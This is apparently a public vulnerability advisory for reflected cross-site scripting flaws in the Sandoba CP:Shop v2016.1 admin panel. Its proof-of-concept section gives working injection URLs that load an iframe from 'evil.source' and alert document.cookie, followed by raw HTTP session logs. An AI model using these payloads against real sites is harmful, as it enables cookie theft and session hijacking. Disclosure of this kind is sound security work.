Sandoba CP:Shop CMS v2016.1 - Multiple XSS Vulnerabilities

Document Title:
===============
Sandoba CP:Shop CMS v2016.1 - Multiple XSS Vulnerabilities


References (Source):
====================
https://www.vulnerability-lab.com/get_content.php?id=2122

http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2018-13001

CVE-ID:
=======
CVE-2018-13001


Release Date:
=============
2018-03-02


Vulnerability Laboratory ID (VL-ID):
====================================
2122


Common Vulnerability Scoring System:
====================================
4.1


Vulnerability Class:
====================
Cross Site Scripting - Non Persistent


Current Estimated Price:
========================
500€ - 1.000€


Product & Service Introduction:
===============================
CP:Shop is the basis for your lasting success on the Internet. The system was designed so that customers are optimally 
supplied with information about articles, special promotions and discounts on the one hand, while the shop operator is 
at the same time subjected to essential work steps through automation.

(Copy of the homepage: https://www.sandoba.de/produkte/shop-software-cpshop/)


Abstract Advisory Information:
==============================
The vulnerability laboratory core research team discovered multiple non-persistent cross site vulnerabilities in the official Sandoa CP:Shop v2016.1 CMS.


Vulnerability Disclosure Timeline:
==================================
2018-03-02: Public Disclosure (Vulnerability Laboratory)



Discovery Status:
=================
Published


Affected Product(s):
====================
Sandoba Medien Agentur
Product: Sandoba CP:Shop - Content Management System v2016.1


Exploitation Technique:
=======================
Remote


Severity Level:
===============
Medium


Authentication Type:
====================
Pre Auth (No Privileges or Session)


User Interaction:
=================
Low User Interaction


Disclosure Type:
================
Full Disclosure


Technical Details & Description:
================================
A non-persistent cross site scripting vulnerabilities has been discovered in the official Sandoa CP:Shop v2016.1 Content Management System.
The vulnerability allows remote attackers to inject own malicious script codes with non-persistent attack vector to compromise browser to 
web-application requests.

The security vulnerability is located in the `admin.php` files of the `./cpshop/` module. Remote attackers are able to inject own script codes 
to the client-side requested vulnerable web-application parameters. The attack vector of the vulnerability is non-persistent and the request 
method to inject/execute is GET. The vulnerabilities are classic client-side cross site scripting vulnerability.

Successful exploitation of the vulnerability results in session hijacking, non-persistent phishing attacks, non-persistent external 
redirects to malicious source and non-persistent manipulation of affected or connected application modules.

Request Method(s):
[+] GET

Vulnerable File(s):
[+] admin.php

Vulnerable Parameter(s):
[+] path
[+] search
[+] rename
[+] dir


Proof of Concept (PoC):
=======================
The web vulnerabilities can be exploited by remote attackers without privileged user account and with low user interaction.
For security demonstration or to reproduce the vulnerability follow the provided information and steps below to continue.


PoC: Exploitation
https://cpshop.localhost:8080/cpshop/admin.php#!file=files&mode=rename_dir&form[dir]=fancybox&form[path]=
%22%3E%3Ciframe%20src=evil.source%20onload=alert(document.cookie)%3E

http://cpshop.localhost:8080/cpshop/admin.php?form%5Bsearch%5D=
%22%3E%3Ciframe+src%3Devil.source+onload%3Dalert%28document.cookie%29%3E&form%5Bvar%5D=1&form%5Bposter%5D=0&form%5Bcategory%5D=0&file=news

http://cpshop.localhost:8080/cpshop/admin.php?form[search]=https://www.test.de#!file=files&mode=rename_dir&form[dir]=
%22%3E%3Ciframe%20src=evil.source%20onload=alert(document.cookie)%3E&form[path]=.

http://cpshop.localhost:8080/cpshop/admin.php?form[search]=https://www.test.de#!file=files&mode=rename_dir&form[dir]=TEST&form[path]=
%22%3E%3Ciframe%20src=evil.source%20onload=alert(document.cookie)%3E

http://cpshop.localhost:8080/cpshop/admin.php#!file=help&mode=search&search=
%22%3E%22%3Ciframe%20src=evil.source%20onload=alert(document.cookie)%3E&select_box=2

https://cpshop.localhost:8080/cpshop/admin.php#!file=files&mode=rename_dir&form[dir]=
de%3E%22%3Ciframe%20src=evil.source%3E&form[path]=modules%2Ffast_gallery%2Flanguages


PoC: Session Logs
Status: 200[OK]
GET https://cpshop.localhost:8080admin.php?file=files&mode=rename_dir&form[dir]=fancybox&form[path]=%22%3E%3Ciframe%20src=evil.source%20onload=alert(document.cookie)%3E&cleanajax=yes 
	Mime Type[text/html]
   Request Header:
      Host[cpshop.localhost:8080]
      User-Agent[Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:56.0) Gecko/20100101 Firefox/56.0]
      Accept[*/*]
      Accept-Language[de,en-US;q=0.7,en;q=0.3]
      Accept-Encoding[gzip, deflate, br]
      X-Requested-With[XMLHttpRequest]
      Referer[https://cpshop.localhost:8080admin.php]
      Cookie[shop_userkey=afb404c7622db6ced7a120e8e4e24505; log_data=DEMOADMINSHOP; PHPSESSID=03f32863066e90b45f109d7b1d5a0b5e; language=de; cookieconsent_dismissed=yes]
      Connection[keep-alive]
   Response Header:
      server[Apache/2.4.27]
      x-powered-by[PHP/7.0.20]
      expires[Thu, 19 Nov 1981 08:52:00 GMT]
      cache-control[no-store, no-cache, must-revalidate]
      pragma[no-cache]
      x-frame-options[SAMEORIGIN]
      content-encoding[gzip]
      set-cookie[language=de; expires=Tue, 20-Feb-2018 13:00:40 GMT; Max-Age=259200; path=/]
      content-type[text/html; charset=utf-8]
      X-Firefox-Spdy[h2]
-
Status: 302[Found]
GET https://cpshop.localhost:8080/evil.source
Mime Type[text/html]
   Request Header:
      Host[cpshop.localhost:8080]
      User-Agent[Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:56.0) Gecko/20100101 Firefox/56.0]
      Accept[text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8]
      Accept-Language[de,en-US;q=0.7,en;q=0.3]
      Accept-Encoding[gzip, deflate, br]
      Referer[https://cpshop.localhost:8080admin.php]
      Cookie[shop_userkey=afb404c7622db6ced7a120e8e4e24505; log_data=DEMOADMINSHOP; PHPSESSID=03f32863066e90b45f109d7b1d5a0b5e; language=de; cookieconsent_dismissed=yes]
      Connection[keep-alive]
      Upgrade-Insecure-Requests[1]
   Response Header:
      server[Apache/2.4.27]
      location[http://cpshop.localhost:8080]
      content-length[296]
      content-type[text/html; charset=iso-8859-1]
      X-Firefox-Spdy[h2]
-
Status: pending[]
GET http://cpshop.localhost:8080/cpshop/admin.php?file=news&clean=yes&ajax=yes&form%5Bsearch%5D=
http%3A%2F%2Fcpshop.localhost:8080%2Fcpshop%2Fadmin.php%3Fform%255Bsearch%255D%3D%2522%253E%253Ciframe%2Bsrc%253Devil.source%2B
onl&form%5Bvar%5D=1&form%5Bposter%5D=0&form%5Bcategory%5D=0&file=news 
	Mime Type[unknown]
   Request Header:
      Host[cpshop.localhost:8080]
      User-Agent[Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:56.0) Gecko/20100101 Firefox/56.0]
      Accept[*/*]
      Accept-Language[de,en-US;q=0.7,en;q=0.3]
      Accept-Encoding[gzip, deflate]
      X-Requested-With[XMLHttpRequest]
      Referer[http://cpshop.localhost:8080/cpshop/admin.php]
      Cookie[log_data=DEMOADMINCMS; PHPSESSID=aa820d024a8b72f3a57e12e72cc63bb6; language=de]
      DNT[1]
-
14:06:37.847[179ms][total 538ms] Status: 200[OK]
GET http://cpshop.localhost:8080/cpshop/admin.php?form%5Bsearch%5D=http%3A%2F%2Fcpshop.localhost:8080%2Fcpshop%2Fadmin.php%3Fform%255Bsearch%255D%3D%2522%253E%253Ciframe%2Bsrc%253Devil.source%2Bonl&form%5Bvar%5D=1&form%5Bposter%5D=0&form%5Bcategory%5D=0&file=news 
	Mime Type[text/html]
   Request Header:
      Host[cpshop.localhost:8080]
      User-Agent[Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:56.0) Gecko/20100101 Firefox/56.0]
      Accept[text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8]
      Accept-Language[de,en-US;q=0.7,en;q=0.3]
      Accept-Encoding[gzip, deflate]
      Referer[http://cpshop.localhost:8080/cpshop/admin.php]
      Cookie[log_data=DEMOADMINCMS; PHPSESSID=aa820d024a8b72f3a57e12e72cc63bb6; language=de]
      Connection[keep-alive]
      Upgrade-Insecure-Requests[1]
   Response Header:
      Server[Apache/2.4.27]
      X-Powered-By[PHP/7.0.20]
      Expires[Thu, 19 Nov 1981 08:52:00 GMT]
      Cache-Control[no-store, no-cache, must-revalidate]
      Pragma[no-cache]
      X-Frame-Options[SAMEORIGIN]
      Content-Encoding[gzip]
      Set-Cookie[language=de; expires=Tue, 20-Feb-2018 13:06:37 GMT; Max-Age=259200; path=/]
      Upgrade[h2c]
      Connection[Upgrade, Keep-Alive]
      Keep-Alive[timeout=5, max=100]
      Transfer-Encoding[chunked]
      Content-Type[text/html; charset=utf-8]


Reference(s):
http://cpshop.localhost:8080/cpshop/admin.php?form%5Bsearch%5D=
http://cpshop.localhost:8080/cpshop/admin.php#!file=help&mode=search&search=
https://cpshop.localhost:8080/cpshop/admin.php#!file=files&mode=rename_dir&form[dir]=fancybox&form[path]=
http://cpshop.localhost:8080/cpshop/admin.php?form[search]=https://www.test.de#!file=files&mode=rename_dir&form[dir]=
https://cpshop.localhost:8080/cpshop/admin.php#!file=files&mode=rename_dir&form[dir]=


Solution - Fix & Patch:
=======================
The cross site vulnerabilities can be resolved by implementation of htmlentities and a secure input restriction of characters.



Security Risk:
==============
The security risk of the client-side cross site scripting web vulnerabilities in the web-application are estimated as medium (cvss 3.4).


Credits & Authors:
==================
Vulnerability-Lab [[email protected]] - https://www.vulnerability-lab.com/show.php?user=Vulnerability-Lab


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=========================
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